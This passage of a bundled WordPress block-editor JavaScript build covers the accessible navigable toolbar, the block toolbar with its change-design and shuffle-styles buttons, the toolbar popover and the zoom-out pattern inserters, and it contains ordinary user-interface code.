52152 alternative: "ToolbarItem, ToolbarButton or ToolbarDropdownMenu components",
52153 link: "https://developer.wordpress.org/block-editor/components/toolbar-button/#inside-blockcontrols"
52154 });
52155 }
52156 setIsAccessibleToolbar(onlyToolbarItem);
52157 }, [toolbarRef]);
52158 (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
52159 const observer = new window.MutationObserver(
52160 determineIsAccessibleToolbar
52161 );
52162 observer.observe(toolbarRef.current, {
52163 childList: true,
52164 subtree: true
52165 });
52166 return () => observer.disconnect();
52167 }, [determineIsAccessibleToolbar, isAccessibleToolbar, toolbarRef]);
52168 return isAccessibleToolbar;
52169}
52170function useToolbarFocus({
52171 toolbarRef,
52172 focusOnMount,
52173 isAccessibleToolbar,
52174 defaultIndex,
52175 onIndexChange,
52176 shouldUseKeyboardFocusShortcut,
52177 focusEditorOnEscape
52178}) {
52179 const [initialFocusOnMount] = (0,external_wp_element_namespaceObject.useState)(focusOnMount);
52180 const [initialIndex] = (0,external_wp_element_namespaceObject.useState)(defaultIndex);
52181 const focusToolbar = (0,external_wp_element_namespaceObject.useCallback)(() => {
52182 focusFirstTabbableIn(toolbarRef.current);
52183 }, [toolbarRef]);
52184 const focusToolbarViaShortcut = () => {
52185 if (shouldUseKeyboardFocusShortcut) {
52186 focusToolbar();
52187 }
52188 };
52189 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)("core/block-editor/focus-toolbar", focusToolbarViaShortcut);
52190 (0,external_wp_element_namespaceObject.useEffect)(() => {
52191 if (initialFocusOnMount) {
52192 focusToolbar();
52193 }
52194 }, [isAccessibleToolbar, initialFocusOnMount, focusToolbar]);
52195 (0,external_wp_element_namespaceObject.useEffect)(() => {
52196 const navigableToolbarRef = toolbarRef.current;
52197 let raf = 0;
52198 if (!initialFocusOnMount && !hasFocusWithin(navigableToolbarRef)) {
52199 raf = window.requestAnimationFrame(() => {
52200 const items = getAllFocusableToolbarItemsIn(navigableToolbarRef);
52201 const index = initialIndex || 0;
52202 if (items[index] && hasFocusWithin(navigableToolbarRef)) {
52203 items[index].focus({
52204 // When focusing newly mounted toolbars,
52205 // the position of the popover is often not right on the first render
52206 // This prevents the layout shifts when focusing the dialogs.
52207 preventScroll: true
52208 });
52209 }
52210 });
52211 }
52212 return () => {
52213 window.cancelAnimationFrame(raf);
52214 if (!onIndexChange || !navigableToolbarRef) {
52215 return;
52216 }
52217 const items = getAllFocusableToolbarItemsIn(navigableToolbarRef);
52218 const index = items.findIndex((item) => item.tabIndex === 0);
52219 onIndexChange(index);
52220 };
52221 }, [initialIndex, initialFocusOnMount, onIndexChange, toolbarRef]);
52222 const { getLastFocus } = unlock((0,external_wp_data_namespaceObject.useSelect)(store));
52223 (0,external_wp_element_namespaceObject.useEffect)(() => {
52224 const navigableToolbarRef = toolbarRef.current;
52225 if (focusEditorOnEscape) {
52226 const handleKeyDown = (event) => {
52227 const lastFocus = getLastFocus();
52228 if (event.keyCode === external_wp_keycodes_namespaceObject.ESCAPE && lastFocus?.current) {
52229 event.preventDefault();
52230 lastFocus.current.focus();
52231 }
52232 };
52233 navigableToolbarRef.addEventListener("keydown", handleKeyDown);
52234 return () => {
52235 navigableToolbarRef.removeEventListener(
52236 "keydown",
52237 handleKeyDown
52238 );
52239 };
52240 }
52241 }, [focusEditorOnEscape, getLastFocus, toolbarRef]);
52242}
52243function NavigableToolbar({
52244 children,
52245 focusOnMount,
52246 focusEditorOnEscape = false,
52247 shouldUseKeyboardFocusShortcut = true,
52248 __experimentalInitialIndex: initialIndex,
52249 __experimentalOnIndexChange: onIndexChange,
52250 orientation = "horizontal",
52251 ...props
52252}) {
52253 const toolbarRef = (0,external_wp_element_namespaceObject.useRef)();
52254 const isAccessibleToolbar = useIsAccessibleToolbar(toolbarRef);
52255 useToolbarFocus({
52256 toolbarRef,
52257 focusOnMount,
52258 defaultIndex: initialIndex,
52259 onIndexChange,
52260 isAccessibleToolbar,
52261 shouldUseKeyboardFocusShortcut,
52262 focusEditorOnEscape
52263 });
52264 if (isAccessibleToolbar) {
52265 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52266 external_wp_components_namespaceObject.Toolbar,
52267 {
52268 label: props["aria-label"],
52269 ref: toolbarRef,
52270 orientation,
52271 ...props,
52272 children
52273 }
52274 );
52275 }
52276 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52277 external_wp_components_namespaceObject.NavigableMenu,
52278 {
52279 orientation,
52280 role: "toolbar",
52281 ref: toolbarRef,
52282 ...props,
52283 children
52284 }
52285 );
52286}
52287
52288
52289;// ./node_modules/@wordpress/block-editor/build-module/components/block-toolbar/use-has-block-toolbar.js
52290
52291
52292
52293function useHasBlockToolbar() {
52294 const enabled = (0,external_wp_data_namespaceObject.useSelect)((select) => {
52295 const { getBlockEditingMode, getBlockName, getBlockSelectionStart } = select(store);
52296 const selectedBlockClientId = getBlockSelectionStart();
52297 const blockType = selectedBlockClientId && (0,external_wp_blocks_namespaceObject.getBlockType)(getBlockName(selectedBlockClientId));
52298 return blockType && (0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockType, "__experimentalToolbar", true) && getBlockEditingMode(selectedBlockClientId) !== "disabled";
52299 }, []);
52300 return enabled;
52301}
52302
52303
52304;// ./node_modules/@wordpress/block-editor/build-module/components/block-toolbar/change-design.js
52305
52306
52307
52308
52309
52310
52311
52312
52313const change_design_EMPTY_ARRAY = [];
52314const MAX_PATTERNS_TO_SHOW = 6;
52315const change_design_POPOVER_PROPS = {
52316 placement: "bottom-start"
52317};
52318function ChangeDesign({ clientId }) {
52319 const { categories, currentPatternName, patterns } = (0,external_wp_data_namespaceObject.useSelect)(
52320 (select) => {
52321 const {
52322 getBlockAttributes,
52323 getBlockRootClientId,
52324 __experimentalGetAllowedPatterns
52325 } = select(store);
52326 const attributes = getBlockAttributes(clientId);
52327 const _categories = attributes?.metadata?.categories || change_design_EMPTY_ARRAY;
52328 const rootBlock = getBlockRootClientId(clientId);
52329 const _patterns = _categories.length > 0 ? __experimentalGetAllowedPatterns(rootBlock) : change_design_EMPTY_ARRAY;
52330 return {
52331 categories: _categories,
52332 currentPatternName: attributes?.metadata?.patternName,
52333 patterns: _patterns
52334 };
52335 },
52336 [clientId]
52337 );
52338 const { replaceBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(store);
52339 const sameCategoryPatternsWithSingleWrapper = (0,external_wp_element_namespaceObject.useMemo)(() => {
52340 if (categories.length === 0 || !patterns || patterns.length === 0) {
52341 return change_design_EMPTY_ARRAY;
52342 }
52343 return patterns.filter((pattern) => {
52344 const isCorePattern = pattern.source === "core" || pattern.source?.startsWith("pattern-directory") && pattern.source !== "pattern-directory/theme";
52345 return (
52346 // Check if the pattern has only one top level block,
52347 // otherwise we may switch to a pattern that doesn't have replacement suggestions.
52348 pattern.blocks.length === 1 && // We exclude the core patterns and pattern directory patterns that are not theme patterns.
52349 !isCorePattern && // Exclude current pattern.
52350 currentPatternName !== pattern.name && pattern.categories?.some((category) => {
52351 return categories.includes(category);
52352 }) && // Check if the pattern is not a synced pattern.
52353 (pattern.syncStatus === "unsynced" || !pattern.id)
52354 );
52355 }).slice(0, MAX_PATTERNS_TO_SHOW);
52356 }, [categories, currentPatternName, patterns]);
52357 if (sameCategoryPatternsWithSingleWrapper.length < 2) {
52358 return null;
52359 }
52360 const onClickPattern = (pattern) => {
52361 const newBlocks = (pattern.blocks ?? []).map((block) => {
52362 return (0,external_wp_blocks_namespaceObject.cloneBlock)(block);
52363 });
52364 newBlocks[0].attributes.metadata = {
52365 ...newBlocks[0].attributes.metadata,
52366 categories
52367 };
52368 replaceBlocks(clientId, newBlocks);
52369 };
52370 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52371 external_wp_components_namespaceObject.Dropdown,
52372 {
52373 popoverProps: change_design_POPOVER_PROPS,
52374 renderToggle: ({ onToggle, isOpen }) => {
52375 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52376 external_wp_components_namespaceObject.ToolbarButton,
52377 {
52378 onClick: () => onToggle(!isOpen),
52379 "aria-expanded": isOpen,
52380 children: (0,external_wp_i18n_namespaceObject.__)("Change design")
52381 }
52382 ) });
52383 },
52384 renderContent: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52385 external_wp_components_namespaceObject.__experimentalDropdownContentWrapper,
52386 {
52387 className: "block-editor-block-toolbar-change-design-content-wrapper",
52388 paddingSize: "none",
52389 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52390 block_patterns_list_default,
52391 {
52392 blockPatterns: sameCategoryPatternsWithSingleWrapper,
52393 onClickPattern,
52394 showTitlesAsTooltip: true
52395 }
52396 )
52397 }
52398 )
52399 }
52400 );
52401}
52402
52403
52404;// ./node_modules/@wordpress/block-editor/build-module/components/block-toolbar/switch-section-style.js
52405
52406
52407
52408
52409
52410
52411
52412
52413
52414
52415
52416const styleIcon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
52417 external_wp_components_namespaceObject.SVG,
52418 {
52419 viewBox: "0 0 24 24",
52420 xmlns: "http://www.w3.org/2000/svg",
52421 width: "24",
52422 height: "24",
52423 "aria-hidden": "true",
52424 focusable: "false",
52425 children: [
52426 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M17.2 10.9c-.5-1-1.2-2.1-2.1-3.2-.6-.9-1.3-1.7-2.1-2.6L12 4l-1 1.1c-.6.9-1.3 1.7-2 2.6-.8 1.2-1.5 2.3-2 3.2-.6 1.2-1 2.2-1 3 0 3.4 2.7 6.1 6.1 6.1s6.1-2.7 6.1-6.1c0-.8-.3-1.8-1-3z" }),
52427 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52428 external_wp_components_namespaceObject.Path,
52429 {
52430 stroke: "currentColor",
52431 strokeWidth: "1.5",
52432 d: "M17.2 10.9c-.5-1-1.2-2.1-2.1-3.2-.6-.9-1.3-1.7-2.1-2.6L12 4l-1 1.1c-.6.9-1.3 1.7-2 2.6-.8 1.2-1.5 2.3-2 3.2-.6 1.2-1 2.2-1 3 0 3.4 2.7 6.1 6.1 6.1s6.1-2.7 6.1-6.1c0-.8-.3-1.8-1-3z"
52433 }
52434 )
52435 ]
52436 }
52437);
52438function SwitchSectionStyle({ clientId }) {
52439 const { stylesToRender, activeStyle, className } = useStylesForBlocks({
52440 clientId
52441 });
52442 const { updateBlockAttributes } = (0,external_wp_data_namespaceObject.useDispatch)(store);
52443 const { merged: mergedConfig } = (0,external_wp_element_namespaceObject.useContext)(GlobalStylesContext);
52444 const { globalSettings, globalStyles, blockName } = (0,external_wp_data_namespaceObject.useSelect)(
52445 (select) => {
52446 const settings = select(store).getSettings();
52447 return {
52448 globalSettings: settings.__experimentalFeatures,
52449 globalStyles: settings[globalStylesDataKey],
52450 blockName: select(store).getBlockName(clientId)
52451 };
52452 },
52453 [clientId]
52454 );
52455 const activeStyleBackground = activeStyle?.name ? getVariationStylesWithRefValues(
52456 {
52457 settings: mergedConfig?.settings ?? globalSettings,
52458 styles: mergedConfig?.styles ?? globalStyles
52459 },
52460 blockName,
52461 activeStyle.name
52462 )?.color?.background : void 0;
52463 if (!stylesToRender || stylesToRender.length === 0) {
52464 return null;
52465 }
52466 const handleStyleSwitch = () => {
52467 const currentIndex = stylesToRender.findIndex(
52468 (style) => style.name === activeStyle.name
52469 );
52470 const nextIndex = (currentIndex + 1) % stylesToRender.length;
52471 const nextStyle = stylesToRender[nextIndex];
52472 const styleClassName = replaceActiveStyle(
52473 className,
52474 activeStyle,
52475 nextStyle
52476 );
52477 updateBlockAttributes(clientId, {
52478 className: styleClassName
52479 });
52480 };
52481 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52482 external_wp_components_namespaceObject.ToolbarButton,
52483 {
52484 onClick: handleStyleSwitch,
52485 label: (0,external_wp_i18n_namespaceObject.__)("Shuffle styles"),
52486 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52487 external_wp_components_namespaceObject.Icon,
52488 {
52489 icon: styleIcon,
52490 style: {
52491 fill: activeStyleBackground || "transparent"
52492 }
52493 }
52494 )
52495 }
52496 ) });
52497}
52498var switch_section_style_default = SwitchSectionStyle;
52499
52500
52501;// ./node_modules/@wordpress/block-editor/build-module/components/block-toolbar/index.js
52502
52503
52504
52505
52506
52507
52508
52509
52510
52511
52512
52513
52514
52515
52516
52517
52518
52519
52520
52521
52522
52523
52524
52525
52526
52527
52528function PrivateBlockToolbar({
52529 hideDragHandle,
52530 focusOnMount,
52531 __experimentalInitialIndex,
52532 __experimentalOnIndexChange,
52533 variant = "unstyled"
52534}) {
52535 const {
52536 blockClientId,
52537 blockClientIds,
52538 isDefaultEditingMode,
52539 blockType,
52540 toolbarKey,
52541 shouldShowVisualToolbar,
52542 showParentSelector,
52543 isUsingBindings,
52544 hasParentPattern,
52545 hasContentOnlyLocking,
52546 showShuffleButton,
52547 showSlots,
52548 showGroupButtons,
52549 showLockButtons,
52550 showBlockVisibilityButton,
52551 showSwitchSectionStyleButton
52552 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
52553 const {
52554 getBlockName,
52555 getBlockMode,
52556 getBlockParents,
52557 getSelectedBlockClientIds,
52558 isBlockValid,
52559 getBlockEditingMode,
52560 getBlockAttributes,
52561 getBlockParentsByBlockName,
52562 getTemplateLock,
52563 getParentSectionBlock,
52564 isZoomOut,
52565 isSectionBlock
52566 } = unlock(select(store));
52567 const selectedBlockClientIds = getSelectedBlockClientIds();
52568 const selectedBlockClientId = selectedBlockClientIds[0];
52569 const parents = getBlockParents(selectedBlockClientId);
52570 const parentSection = getParentSectionBlock(selectedBlockClientId);
52571 const parentClientId = parentSection ?? parents[parents.length - 1];
52572 const parentBlockName = getBlockName(parentClientId);
52573 const parentBlockType = (0,external_wp_blocks_namespaceObject.getBlockType)(parentBlockName);
52574 const editingMode = getBlockEditingMode(selectedBlockClientId);
52575 const _isDefaultEditingMode = editingMode === "default";
52576 const _blockName = getBlockName(selectedBlockClientId);
52577 const isValid = selectedBlockClientIds.every(
52578 (id) => isBlockValid(id)
52579 );
52580 const isVisual = selectedBlockClientIds.every(
52581 (id) => getBlockMode(id) === "visual"
52582 );
52583 const _isUsingBindings = selectedBlockClientIds.every(
52584 (clientId) => !!getBlockAttributes(clientId)?.metadata?.bindings
52585 );
52586 const _hasParentPattern = selectedBlockClientIds.every(
52587 (clientId) => getBlockParentsByBlockName(clientId, "core/block", true).length > 0
52588 );
52589 const _hasTemplateLock = selectedBlockClientIds.some(
52590 (id) => getTemplateLock(id) === "contentOnly"
52591 );
52592 const _isZoomOut = isZoomOut();
52593 const _showSwitchSectionStyleButton = window?.__experimentalContentOnlyPatternInsertion && (_isZoomOut || isSectionBlock(selectedBlockClientId));
52594 return {
52595 blockClientId: selectedBlockClientId,
52596 blockClientIds: selectedBlockClientIds,
52597 isDefaultEditingMode: _isDefaultEditingMode,
52598 blockType: selectedBlockClientId && (0,external_wp_blocks_namespaceObject.getBlockType)(_blockName),
52599 shouldShowVisualToolbar: isValid && isVisual,
52600 toolbarKey: `${selectedBlockClientId}${parentClientId}`,
52601 showParentSelector: !_isZoomOut && parentBlockType && editingMode !== "contentOnly" && getBlockEditingMode(parentClientId) !== "disabled" && (0,external_wp_blocks_namespaceObject.hasBlockSupport)(
52602 parentBlockType,
52603 "__experimentalParentSelector",
52604 true
52605 ) && selectedBlockClientIds.length === 1,
52606 isUsingBindings: _isUsingBindings,
52607 hasParentPattern: _hasParentPattern,
52608 hasContentOnlyLocking: _hasTemplateLock,
52609 showShuffleButton: _isZoomOut,
52610 showSlots: !_isZoomOut,
52611 showGroupButtons: !_isZoomOut,
52612 showLockButtons: !_isZoomOut,
52613 showBlockVisibilityButton: !_isZoomOut,
52614 showSwitchSectionStyleButton: _showSwitchSectionStyleButton
52615 };
52616 }, []);
52617 const toolbarWrapperRef = (0,external_wp_element_namespaceObject.useRef)(null);
52618 const nodeRef = (0,external_wp_element_namespaceObject.useRef)();
52619 const showHoveredOrFocusedGestures = useShowHoveredOrFocusedGestures({
52620 ref: nodeRef
52621 });
52622 const isLargeViewport = !(0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
52623 const hasBlockToolbar = useHasBlockToolbar();
52624 if (!hasBlockToolbar) {
52625 return null;
52626 }
52627 const isMultiToolbar = blockClientIds.length > 1;
52628 const isSynced = (0,external_wp_blocks_namespaceObject.isReusableBlock)(blockType) || (0,external_wp_blocks_namespaceObject.isTemplatePart)(blockType);
52629 const classes = dist_clsx("block-editor-block-contextual-toolbar", {
52630 "has-parent": showParentSelector
52631 });
52632 const innerClasses = dist_clsx("block-editor-block-toolbar", {
52633 "is-synced": isSynced,
52634 "is-connected": isUsingBindings
52635 });
52636 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52637 NavigableToolbar,
52638 {
52639 focusEditorOnEscape: true,
52640 className: classes,
52641 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Block tools"),
52642 variant: variant === "toolbar" ? void 0 : variant,
52643 focusOnMount,
52644 __experimentalInitialIndex,
52645 __experimentalOnIndexChange,
52646 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ref: toolbarWrapperRef, className: innerClasses, children: [
52647 showParentSelector && !isMultiToolbar && isLargeViewport && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockParentSelector, {}),
52648 (shouldShowVisualToolbar || isMultiToolbar) && !hasParentPattern && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52649 "div",
52650 {
52651 ref: nodeRef,
52652 ...showHoveredOrFocusedGestures,
52653 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.ToolbarGroup, { className: "block-editor-block-toolbar__block-controls", children: [
52654 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_switcher_default, { clientIds: blockClientIds }),
52655 isDefaultEditingMode && showBlockVisibilityButton && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52656 BlockVisibilityToolbar,
52657 {
52658 clientIds: blockClientIds
52659 }
52660 ),
52661 !isMultiToolbar && isDefaultEditingMode && showLockButtons && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52662 BlockLockToolbar,
52663 {
52664 clientId: blockClientId
52665 }
52666 ),
52667 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52668 block_mover_default,
52669 {
52670 clientIds: blockClientIds,
52671 hideDragHandle
52672 }
52673 )
52674 ] })
52675 }
52676 ),
52677 !hasContentOnlyLocking && shouldShowVisualToolbar && isMultiToolbar && showGroupButtons && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(toolbar_default, {}),
52678 showShuffleButton && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ChangeDesign, { clientId: blockClientIds[0] }),
52679 showSwitchSectionStyleButton && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(switch_section_style_default, { clientId: blockClientIds[0] }),
52680 shouldShowVisualToolbar && showSlots && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
52681 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52682 block_controls_default.Slot,
52683 {
52684 group: "parent",
52685 className: "block-editor-block-toolbar__slot"
52686 }
52687 ),
52688 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52689 block_controls_default.Slot,
52690 {
52691 group: "block",
52692 className: "block-editor-block-toolbar__slot"
52693 }
52694 ),
52695 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_controls_default.Slot, { className: "block-editor-block-toolbar__slot" }),
52696 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52697 block_controls_default.Slot,
52698 {
52699 group: "inline",
52700 className: "block-editor-block-toolbar__slot"
52701 }
52702 ),
52703 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52704 block_controls_default.Slot,
52705 {
52706 group: "other",
52707 className: "block-editor-block-toolbar__slot"
52708 }
52709 ),
52710 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52711 block_name_context_default.Provider,
52712 {
52713 value: blockType?.name,
52714 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_toolbar_last_item_default.Slot, {})
52715 }
52716 )
52717 ] }),
52718 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockEditVisuallyButton, { clientIds: blockClientIds }),
52719 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_settings_menu_default, { clientIds: blockClientIds })
52720 ] })
52721 },
52722 toolbarKey
52723 );
52724}
52725function BlockToolbar({ hideDragHandle, variant }) {
52726 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52727 PrivateBlockToolbar,
52728 {
52729 hideDragHandle,
52730 variant,
52731 focusOnMount: void 0,
52732 __experimentalInitialIndex: void 0,
52733 __experimentalOnIndexChange: void 0
52734 }
52735 );
52736}
52737
52738
52739;// ./node_modules/@wordpress/block-editor/build-module/components/block-tools/block-toolbar-popover.js
52740
52741
52742
52743
52744
52745
52746
52747
52748
52749
52750function BlockToolbarPopover({
52751 clientId,
52752 isTyping,
52753 __unstableContentRef
52754}) {
52755 const { capturingClientId, isInsertionPointVisible, lastClientId } = useSelectedBlockToolProps(clientId);
52756 const initialToolbarItemIndexRef = (0,external_wp_element_namespaceObject.useRef)();
52757 (0,external_wp_element_namespaceObject.useEffect)(() => {
52758 initialToolbarItemIndexRef.current = void 0;
52759 }, [clientId]);
52760 const { stopTyping } = (0,external_wp_data_namespaceObject.useDispatch)(store);
52761 const isToolbarForcedRef = (0,external_wp_element_namespaceObject.useRef)(false);
52762 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)("core/block-editor/focus-toolbar", () => {
52763 isToolbarForcedRef.current = true;
52764 stopTyping(true);
52765 });
52766 (0,external_wp_element_namespaceObject.useEffect)(() => {
52767 isToolbarForcedRef.current = false;
52768 });
52769 const clientIdToPositionOver = capturingClientId || clientId;
52770 const popoverProps = useBlockToolbarPopoverProps({
52771 contentElement: __unstableContentRef?.current,
52772 clientId: clientIdToPositionOver
52773 });
52774 return !isTyping && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52775 PrivateBlockPopover,
52776 {
52777 clientId: clientIdToPositionOver,
52778 bottomClientId: lastClientId,
52779 className: dist_clsx("block-editor-block-list__block-popover", {
52780 "is-insertion-point-visible": isInsertionPointVisible
52781 }),
52782 resize: false,
52783 ...popoverProps,
52784 __unstableContentRef,
52785 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52786 PrivateBlockToolbar,
52787 {
52788 focusOnMount: isToolbarForcedRef.current,
52789 __experimentalInitialIndex: initialToolbarItemIndexRef.current,
52790 __experimentalOnIndexChange: (index) => {
52791 initialToolbarItemIndexRef.current = index;
52792 },
52793 variant: "toolbar"
52794 }
52795 )
52796 }
52797 );
52798}
52799
52800
52801;// ./node_modules/@wordpress/block-editor/build-module/components/block-tools/zoom-out-mode-inserter-button.js
52802
52803
52804
52805
52806
52807function ZoomOutModeInserterButton({ onClick }) {
52808 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52809 external_wp_components_namespaceObject.Button,
52810 {
52811 variant: "primary",
52812 icon: plus_default,
52813 size: "compact",
52814 className: dist_clsx(
52815 "block-editor-button-pattern-inserter__button",
52816 "block-editor-block-tools__zoom-out-mode-inserter-button"
52817 ),
52818 onClick,
52819 label: (0,external_wp_i18n_namespaceObject._x)(
52820 "Add pattern",
52821 "Generic label for pattern inserter button"
52822 )
52823 }
52824 );
52825}
52826var zoom_out_mode_inserter_button_default = ZoomOutModeInserterButton;
52827
52828
52829;// ./node_modules/@wordpress/block-editor/build-module/components/block-tools/zoom-out-mode-inserters.js
52830
52831
52832
52833
52834
52835
52836
52837function ZoomOutModeInserters() {
52838 const [isReady, setIsReady] = (0,external_wp_element_namespaceObject.useState)(false);
52839 const {
52840 hasSelection,
52841 blockOrder,
52842 setInserterIsOpened,
52843 sectionRootClientId,
52844 selectedBlockClientId,
52845 blockInsertionPoint,
52846 insertionPointVisible
52847 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
52848 const {
52849 getSettings,
52850 getBlockOrder,
52851 getSelectionStart,
52852 getSelectedBlockClientId,
52853 getSectionRootClientId,
52854 getBlockInsertionPoint,
52855 isBlockInsertionPointVisible
52856 } = unlock(select(store));
52857 const root = getSectionRootClientId();
52858 return {
52859 hasSelection: !!getSelectionStart().clientId,
52860 blockOrder: getBlockOrder(root),
52861 sectionRootClientId: root,
52862 setInserterIsOpened: getSettings().__experimentalSetIsInserterOpened,
52863 selectedBlockClientId: getSelectedBlockClientId(),
52864 blockInsertionPoint: getBlockInsertionPoint(),
52865 insertionPointVisible: isBlockInsertionPointVisible()
52866 };
52867 }, []);
52868 const { showInsertionPoint } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
52869 (0,external_wp_element_namespaceObject.useEffect)(() => {
52870 const timeout = setTimeout(() => {
52871 setIsReady(true);
52872 }, 500);
52873 return () => {
52874 clearTimeout(timeout);
52875 };
52876 }, []);
52877 if (!isReady || !hasSelection) {
52878 return null;
52879 }
52880 const previousClientId = selectedBlockClientId;
52881 const index = blockOrder.findIndex(
52882 (clientId) => selectedBlockClientId === clientId
52883 );
52884 const insertionIndex = index + 1;
52885 const nextClientId = blockOrder[insertionIndex];
52886 if (insertionPointVisible && blockInsertionPoint?.index === insertionIndex) {
52887 return null;
52888 }
52889 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52890 inbetween_default,
52891 {
52892 previousClientId,
52893 nextClientId,
52894 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52895 zoom_out_mode_inserter_button_default,
52896 {
52897 onClick: () => {
52898 setInserterIsOpened({
52899 rootClientId: sectionRootClientId,
52900 insertionIndex,
52901 tab: "patterns",
52902 category: "all"
52903 });
52904 showInsertionPoint(sectionRootClientId, insertionIndex, {
52905 operation: "insert"
52906 });
52907 }
52908 }
52909 )
52910 }
52911 );
52912}
52913var zoom_out_mode_inserters_default = ZoomOutModeInserters;
52914
52915
52916;// ./node_modules/@wordpress/block-editor/build-module/components/block-tools/use-show-block-tools.js
52917
52918
52919
52920
52921function useShowBlockTools() {
52922 return (0,external_wp_data_namespaceObject.useSelect)((select) => {
52923 const {
52924 getSelectedBlockClientId,
52925 getFirstMultiSelectedBlockClientId,
52926 getBlock,
52927 getBlockMode,
52928 getSettings,
52929 isTyping,
52930 isBlockInterfaceHidden
52931 } = unlock(select(store));
52932 const clientId = getSelectedBlockClientId() || getFirstMultiSelectedBlockClientId();
52933 const block = getBlock(clientId);
52934 const hasSelectedBlock = !!clientId && !!block;
52935 const isEmptyDefaultBlock = hasSelectedBlock && (0,external_wp_blocks_namespaceObject.isUnmodifiedDefaultBlock)(block, "content") && getBlockMode(clientId) !== "html";
52936 const _showEmptyBlockSideInserter = clientId && !isTyping() && isEmptyDefaultBlock;
52937 const _showBlockToolbarPopover = !isBlockInterfaceHidden() && !getSettings().hasFixedToolbar && !_showEmptyBlockSideInserter && hasSelectedBlock && !isEmptyDefaultBlock;
52938 return {
52939 showEmptyBlockSideInserter: _showEmptyBlockSideInserter,
52940 showBlockToolbarPopover: _showBlockToolbarPopover
52941 };
52942 }, []);
52943}
52944
52945
52946;// ./node_modules/@wordpress/block-editor/build-module/components/block-tools/index.js
52947
52948
52949
52950
52951
52952
52953
52954
52955
52956
52957
52958
52959
52960
52961
52962
52963
52964
52965
52966
52967function block_tools_selector(select) {
52968 const {
52969 getSelectedBlockClientId,
52970 getFirstMultiSelectedBlockClientId,
52971 getSettings,
52972 isTyping,
52973 isDragging,
52974 isZoomOut
52975 } = unlock(select(store));
52976 const clientId = getSelectedBlockClientId() || getFirstMultiSelectedBlockClientId();
52977 return {
52978 clientId,
52979 hasFixedToolbar: getSettings().hasFixedToolbar,
52980 isTyping: isTyping(),
52981 isZoomOutMode: isZoomOut(),
52982 isDragging: isDragging()
52983 };
52984}
52985function BlockTools({
52986 children,
52987 __unstableContentRef,
52988 ...props
52989}) {
52990 const { clientId, hasFixedToolbar, isTyping, isZoomOutMode, isDragging } = (0,external_wp_data_namespaceObject.useSelect)(block_tools_selector, []);
52991 const isMatch = (0,external_wp_keyboardShortcuts_namespaceObject.__unstableUseShortcutEventMatch)();
52992 const {
52993 getBlocksByClientId,
52994 getSelectedBlockClientIds,
52995 getBlockRootClientId,
52996 isGroupable,
52997 getBlockName
52998 } = (0,external_wp_data_namespaceObject.useSelect)(store);
52999 const { getGroupingBlockName } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blocks_namespaceObject.store);
